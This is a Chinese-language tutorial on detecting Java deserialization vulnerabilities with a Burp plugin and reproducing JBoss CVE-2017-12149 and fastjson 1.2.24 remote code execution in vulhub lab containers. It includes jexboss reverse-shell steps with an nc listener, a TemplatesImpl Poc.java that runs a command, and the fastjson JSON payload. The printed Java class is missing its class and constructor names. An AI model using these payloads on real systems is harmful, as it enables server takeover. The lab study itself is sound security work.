java反序列化检测及漏洞复现

​ 近几年涌现了许多经典的因为反序列化导致的远程代码执行漏洞,像fastjson,jackson,struts2,weblogic这些使用量非常大的产品都存在这类漏洞,但不幸的是,这些漏洞的修复方式都是基于黑名单,每次都是旧洞未补全,新洞已面世。通过上一篇《Java反序列化原理》可以看出该类型漏洞的影响还是很大的,下面将从漏洞检测以及漏洞利用来进一步介绍java反序列化在实战中的一些利用。

漏洞检测

burp反序列化插件 Java Deserialization Scanner

安装

打开burp,选择Extdener->Bapp Store ,这是最简单的方法来获得插件,但下载的版本可能不是最新的。确保下载的是最新版本的方法就是从GitHub上下载并安装。

插件中含有三种检测方法, sleep、DNS、以及CPU;

通常情况下,DNS解析请求是最有可能绕过企业防火墙,因此是一个相当好的检测方法。在一般情况下,定时方法是更可靠和更可取的,但DNS方法可以适合用于 不稳定的系统或高度延迟的网络。

CPU检测方法是基于Wouter Coekaerts”serialdos工作:没有任何脆弱的系统检测反序列化问题。有效载荷是基于一个系统对象(java util。HashSet),采用多CPU周期为反序列化任务。SerialDOS是创建一个POC的拒绝服务(DOS)攻击,但通过降低CPU周期需要反序列化它也可以用来作为一种检测方法。这个有效载荷是检测如果应用程序终结点实际上执行java反序列化,如果严格执行白名单的方法很有用。如果检查出阳性结果也有目标应用实施白名单的方式,允许HashSet类java.util包的可能性。在这种情况下,应用程序仍然容易受到DoS攻击。

检测集成在Burp Suite的主动和被动的扫描器,在这里首先好下载ysoserial,并且将地址填入Exploiting configutation中

1568624169749

配置好后,burp可以在扫描时自动识别java反序列化漏洞,如图所示

1568624511240

或者也可以手动进行测试,首先将测试的请求发送到DS-Manual testing

1568624605111

然后打开burp标签栏上的Deserialization Scanner,选择插入点、测试方式并开始测试

444-22-54

测试结果将显示在右侧

258-24-17

当然,这个插件也有漏洞利用的功能,这里先不介绍了

漏洞复现

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现

靶机:kali ip:192.168.31.7

攻击机:Windows ip:192.168.31.116

漏洞介绍

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

检测方法

该漏洞出现在 /invoker/readonly 请求中,服务器将用户提交的POST内容进行了Java反序列化;

访问https://xxx.xxxxxx.xxx/invoker/readonly如果页面返回500一般是存在了;

1567395869035

启动测试环境

Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

1
2
3
git clone https://github.com/vulhub/vulhub.git	#下载环境	
cd vulhub/jboss/CVE-2017-12149 #进入相关漏洞的目录
docker-compose up -d #启动

访问靶机ip:8080 出现如下页面说明启动成功

1567395018129

攻击演示

使用java反序列化终极测试工具

使用java反序列化终极测试工具,输入目标地址,首先获取信息,查看是否存在漏洞,如果存在漏洞可以直接执行命令,简单又好用

1567398716662

使用Jexboss

jexboss是一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。

1
2
3
https://github.com/joaomatosf/jexboss.git
cd jexboss
python jexboss.py -host http://192.168.31.7:8080

1567416611533

接着输入

1
2
3
4
5
6
No
yes
192.168.31.116 #攻击机ip
9999 #攻击机监听端口
打开新的窗口 设置监听
nc -l -p 9999 -vv

按下回车后再在nc监听窗口按一下回车获得反弹的shell,这种方式获得的shell一般权限都比较高。

1567416447170

fastjson 反序列化导致任意命令执行漏洞

2017年3月15日,fastjson官方发布安全公告表示fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。fastjson官方建议直接升级到1.2.28/1.2.29或者更新版本来保证系统安全。

​ fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中有一个私有属性_bytecodes,其部分方法会执行这个值中包含的Java字节码。

所以,想要使用TemplatesImpl_bytecodes属性执行任意命令,有几个条件:

  1. 目标网站使用fastjson库解析json
  2. 解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性
  3. 目标使用的jdk中存在TemplatesImpl

启动测试环境

靶机:kali ip:192.168.31.7

攻击机:Windows ip:192.168.31.116

还是使用的vulhub这个测试环境

本环境目录结构如下:

  • src 本项目源码
    • main/java java类
      • IndexFilter.java web源码
      • Poc.java POC源码
  • pom.xml 配置文件,使用maven可以直接将本项目编译成war包
  • exploit.php 读取编译好的POC字节码,并转换成base64
  • fastjson-1.0.war 打包好的web环境,可以直接放到tomcat下运行
1
2
3
cd vulhub/fastjson/vuln			#进入目录
docker-compose build #编译
docker-compose up -d #运行

在攻击机上访问http:192.168.31.7:8080显示Hello World 说明启动成功了

生成Payload

首先需要自己修改Poc.java 这个类,将要执行的命令写进去,然后编译这个类获得class文件,获得字节码

1
2
cd src/main/java			#进入目录
vim Poc.java #编辑Poc.exe

这里设置执行的命令是在home下创建hacker文件,实际中可以执行任意命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class extends AbstractTranslet {

public () throws IOException {
Runtime.getRuntime().exec("touch /home/hacker");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}

然后回到主目录编译代码,这里首先要安装maven,比较简单,这里不再赘述。

1
2
3
4
cd ../../../
mvn compile #编译
这时候在target/classes文件下会生成Poc.class文件,下面对其进行base64编码
base64 Poc.class

生成后放到如下位置中

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["放到这里"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

漏洞利用

正常访问Hello World 抓包,构造一个POST数据提交,目标会提取json对象中的name和age拼接成一句话返回。

1567672160067

接下在发送构造的poc发送

1568635189550

可以看到执行成功了

1568635178053

reference

http://xxlegend.com/2018/06/20/先知议题 Java反序列化实战 解读

https://xz.aliyun.com/t/496

https://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA

https://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html

https://vulhub.org/#/environments/weblogic/CVE-2018-2628/